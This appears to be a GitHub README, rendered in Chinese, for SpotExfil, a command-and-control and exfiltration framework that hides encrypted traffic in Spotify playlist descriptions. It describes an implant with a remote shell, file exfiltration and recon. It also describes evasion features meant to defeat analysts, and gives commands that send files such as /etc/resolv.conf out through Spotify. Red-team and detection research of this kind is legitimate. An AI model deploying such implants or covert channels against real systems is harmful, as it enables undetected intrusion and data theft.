sourcefrenchy/spotexfil
GitHub: sourcefrenchy/spotexfil
利用 Spotify API 播放列表实现加密隐蔽信道与 C2 框架的数据外泄方案。
Stars: 19 | Forks: 1
[](https://github.com/sourcefrenchy/spotexfil/actions/workflows/codeql-analysis.yml)
# SpotExfil
一个利用 Spotify 播放列表描述作为通信媒介的隐蔽通道和 C2 框架,每次传输 512 个字符。
提供 **Python** 和 **Go** 两种实现,载荷加密后在 wire 层面兼容。
更多信息请参考 [Exfiltration Series: SpotExfil](https://medium.com/@jeanmichel.amblat/exfiltration-series-spotexfil-9aee76382b74)
## 功能特性
### 加密与操作安全
- **AES-256-GCM 加密**,使用 PBKDF2-SHA256 密钥派生(480K 次迭代)
- **轮换 HMAC 标签**——C2 播放列表标识符每小时轮换,防止长期流量关联
- **自动生成会话密钥**——植入程序启动时生成 NATO 音标口令(永不进入 argv)
- **会话绑定**——所有命令/结果绑定到加密随机会话 ID,防止重放
- **时间戳校验**——超过 5 分钟的命令将被拒绝
- **HMAC-SHA256 客户端 ID**——64 位碰撞抗性代理标识符(加键保护,不可伪造)
- **BLAKE2b 完整性校验**——编码与解码时均进行验证
- **Gzip 压缩**——文本类载荷可压缩 60-80%
### C2 框架
- **多植入支持**——`agents`、`attach `、`detach` 用于管理多个植入
- **交互式 Shell(ishell)**——远程 Shell,支持命令队列,自动识别 bash/powershell
- **连接时直接执行 Shell**——附加后可直接输入命令(无需 `shell` 前缀)
- **自动签到**——植入程序主动宣告自身,操作员实时查看连接
- **模块**:Shell(执行命令)、Exfil(读取文件)、Sysinfo(OS/网络侦察)
- **智能限速**——指数退避、人可读错误信息、自动恢复
### 基础设施
- **双语言实现**——Python 包 + 独立 Go 二进制(无需运行时)
- **跨平台二进制**——macOS(Apple Silicon)、Linux(x64)、Windows(x64),已剥离
- **隐蔽性**——伪装播放列表名称、随机填充曲目、抖动轮询、激进清理
- **配置文件支持**(`~/.spotexfil.conf`),环境变量可选
## 架构
```
spotexfil/
├── shared/ # Wire format specs (single source of truth)
│ ├── protocol.json # Crypto constants, transport params
│ ├── modules.yaml # C2 module definitions
│ └── test_vectors/ # Cross-language crypto validation
├── python/ # Python implementation
│ ├── spotexfil/ # Package with ABCs, crypto, transport, C2
│ │ ├── interfaces.py # CryptoProvider, Transport, C2Module ABCs
│ │ ├── crypto.py # AES-GCM, PBKDF2, BLAKE2b
│ │ ├── transport.py # Spotify API wrapper
│ │ ├── protocol.py # C2 message serialization
│ │ ├── implant.py # C2 implant daemon
│ │ ├── operator.py # C2 operator console
│ │ ├── modules/ # Pluggable module registry
│ │ └── cli.py # Unified CLI
│ └── tests/ # 156+ tests
├── go/ # Go implementation
│ ├── cmd/spotexfil/ # Cobra CLI
│ ├── internal/
│ │ ├── crypto/ # AES-GCM, PBKDF2, BLAKE2b, HMAC
│ │ ├── encoding/ # File exfil pipeline
│ │ ├── protocol/ # C2 messages, encrypted descriptions
│ │ ├── spotify/ # zmb3/spotify/v2 wrapper
│ │ └── c2/ # Implant, operator, module registry
│ └── go.mod
├── Makefile # Build + test both languages
└── README.md
```
## 先决条件
1. 在 [Spotify Developer Dashboard](https://developer.spotify.com/dashboard/) 注册应用
2. 添加重定向 URI(例如 `http://127.0.0.1:8888/callback`)
3. 通过环境变量或 `~/.spotexfil.conf` 提供凭证:
```
export SPOTIFY_USERNAME=YourUsername
export SPOTIFY_CLIENT_ID=your_client_id
export SPOTIFY_CLIENT_SECRET=your_client_secret
export SPOTIFY_REDIRECTURI=http://127.0.0.1:8888/callback
```
或创建 `~/.spotexfil.conf`:
```
[spotify]
username = YourUsername
client_id = your_client_id
client_secret = your_client_secret
redirect_uri = http://127.0.0.1:8888/callback
```
## 安装
### Go(预编译二进制,无需运行时)
从 `dist/` 下载对应二进制文件:
- `spotexfil-darwin-arm64` —— macOS Apple Silicon
- `spotexfil-linux-amd64` —— Linux x64
- `spotexfil-windows-amd64.exe` —— Windows x64
### Python(从源码)
```
cd python && pip install -r requirements.txt
```
### 从源码构建
```
make all # Cross-compile Go binaries for all platforms
make test # Run both Python and Go test suites
make lint # Flake8 Python code
```
## 用法
### C2 模式
```
# 终端 1:植入程序启动(自动生成会话密钥)
./spotexfil-darwin-arm64 c2-implant --interval 30 --jitter 10
# 输出:
# [*] 会话密钥:bravo-kilo-seven-echo-tango-lima
# [*] 使用此密钥启动操作员:
# ./spotexfil c2-operator -k "bravo-kilo-seven-echo-tango-lima"
# [*] 每 20-40 秒轮询一次
# [*] 会话:a3f2b7c91e04
# [*] 签到已发送(client_id=7f3a2b1c9e04d8f1)于 15:30:05
# 终端 2:操作员(使用植入程序显示的密钥)
./spotexfil-darwin-arm64 c2-operator -k "bravo-kilo-seven-echo-tango-lima" --poll-interval 30
# 备选:从文件或环境变量获取密钥
./spotexfil-darwin-arm64 c2-operator --key-file /path/to/keyfile
SPOTEXFIL_KEY="bravo-kilo-seven-echo-tango-lima" ./spotexfil-darwin-arm64 c2-operator
```
### 操作员控制台
```
┌─────────────────────────────────────────────┐
│ ___ _ ___ __ _ _ │
│ / __|_ __ ___ | |_| __|__ _/ _(_) | │
│ \__ \ '_ \/ _ \| _| _|\ \ / _| | | │
│ |___/ .__/\___/ \__|___/_\_\_| |_|_|_| │
│ |_| │
│ C2 OPERATOR CONSOLE │
└─────────────────────────────────────────────┘
Polling every 30s | Type 'help' for commands
[+] New implant connected!
client_id : 7f3a2b1c9e04d8f1
session : a3f2b7c91e04
hostname : target.local
os : darwin/arm64
user : admin
timestamp : 2026-04-18 15:30:05
[15:30] c2> agents
ID HOSTNAME OS USER CONNECTED
---------------- ---------------- -------------------- ---------- -------------------
7f3a2b1c9e04d8f1 target.local darwin/arm64 admin 2026-04-18 15:30:05
[15:30] c2> attach 7f3a
[*] Attached to 7f3a2b1c9e04d8f1 (target.local)
[15:30] 7f3a2b1c@target.local > whoami
[*] Command queued: seq=1 module=shell
[15:30] 7f3a2b1c@target.local > uname -a
[*] Command queued: seq=2 module=shell
[15:30] 7f3a2b1c@target.local > sysinfo
[*] Command queued: seq=3 module=sysinfo
[15:30] 7f3a2b1c@target.local > results
[15:30] 7f3a2b1c@target.local > detach
[*] Detached from 7f3a2b1c9e04d8f1 (target.local)
[15:31] c2>
```
### 交互式 Shell(ishell)
```
[15:31] 7f3a2b1c@target.local > ishell
[*] Interactive shell to target.local (darwin/arm64)
[*] Shell: bash | Commands queue automatically | 'quit' to exit
7f3a2b1c@target.local $ ls -la /tmp
-> queued seq=4
7f3a2b1c@target.local $ cat /etc/hosts
-> queued seq=5
[queued: 2] 7f3a2b1c@target.local $
$ ls -la /tmp
drwxrwxrwt 12 root wheel 384 Apr 18 15:31 .
...
$ cat /etc/hosts
127.0.0.1 localhost
7f3a2b1c@target.local $ quit
[*] Leaving interactive shell
```
### 可用命令
```
Agent management:
agents List connected implants
attach Attach to an agent (prefix match, e.g. 'attach 7f3a')
detach Detach from current agent
Commands (when attached, type directly or use prefix):
ishell Interactive remote shell (auto-detects bash/powershell)
Sent as shell command to attached agent
exfil Exfiltrate a file
sysinfo Gather system info
Other:
results Poll for pending results
wait Wait for a specific result
status Show agents and pending commands
clean Remove all C2 playlists
help Show this help
quit / exit Exit the console
```
### 数据外泄模式
```
# 发送(加密 + 压缩,覆盖名称)
./spotexfil-darwin-arm64 send -f /etc/resolv.conf -k "passphrase"
# 接收并解密
./spotexfil-darwin-arm64 receive -k "passphrase" -o output.txt
# 清理
./spotexfil-darwin-arm64 clean
```
## 安全模型
### 加密
- 所有载荷:AES-256-GCM 配合 PBKDF2-SHA256(480K 次迭代)
- C2 元数据:AES-256-GCM 使用 HMAC 派生快速密钥(每个播放列表无需 PBKDF2)
- 完整性:BLAKE2b-160 哈希在解码时验证
### 操作安全特性
| 特性 | 描述 |
|------|------|
| 轮换标签 | C2 播放列表标识符通过基于时间窗口的 HMAC 每小时轮换 |
| 自动生成密钥 | 植入程序生成 NATO 音标口令(永不进入 argv/ps) |
| 会话绑定 | 加密随机会话 ID 防止重放与跨会话泄露 |
| 时间戳校验 | 超过 5 分钟的命令被拒绝 |
| HMAC-SHA256 客户端 ID | 64 位加键标识符(无密钥不可伪造) |
| 激进清理 | 读取后双方删除播放列表 |
| 伪装名称 | 无害化播放列表名称(如 "Chill Vibes #a3f2") |
| 抖动轮询 | 可配置间隔 + 随机抖动 |
| 指数退避 | 智能限速处理并自动恢复 |
| 随机 OAuth 状态 | OAuth 流程中不暴露工具指纹 |
### 分析员在 Spotify 上看到的内容
- 私有播放列表,名称类似 "Morning Coffee #b7c2"
- 描述为加密的不可见数据块(HMAC 标签 + AES-GCM 密文)
- 无明文元数据、无顺序命名、无可检测模式
- 播放列表在读取后数秒内被删除
## 测试
```
make test # Run everything (Python 156+ tests + Go tests)
make test-python # Python only
make test-go # Go only
make lint # Flake8
```
## 跨语言互操作
Python 与 Go 实现 wire 兼容:
- **Go 操作员** 向 **Python 植入程序** 发送命令
- **Python 操作员** 向 **Go 植入程序** 发送命令
- 文件外泄载荷可互换
- 共享测试向量强制加密兼容性
## 限制
- 最大载荷约 1MB(~2000 个播放列表)
- 大文件传输较慢(每 512 字符一个 API 调用)
- Spotify 限流:约 180 次/30 秒,写入限制升级至 24 小时
- C2 轮询增加延迟(可配置,默认 30-90 秒)
## 免责声明
本项目仅为**教育与授权安全研究用途**的证明概念。请勿用于未经授权的数据外泄或对计算机系统的未授权访问。作者不对滥用行为负责。
## 待办事项
- 账户轮换支持
- 额外 C2 模块(截图、持久化)
- 多账户中继 / 死信投递
- 隐写载荷编码
标签:AES-256-GCM, BLAKE2b, C2框架, Go, Gzip压缩, HMAC-SHA256, HMAC轮转, NATO音标, PBKDF2-SHA256, Python, Ruby工具, SEO: C2框架, SEO: 数据外泄技术, SEO: 隐蔽信道, Spotify API, 会话管理, 会话绑定, 加密通信, 反向Shell, 命令与控制, 多语言实现, 安全学习资源, 密钥派生, 数据外泄, 文件渗漏, 无后门, 日志审计, 时间戳验证, 智能限速, 植入体, 系统信息收集, 逆向工具, 隐写通信, 隐蔽通道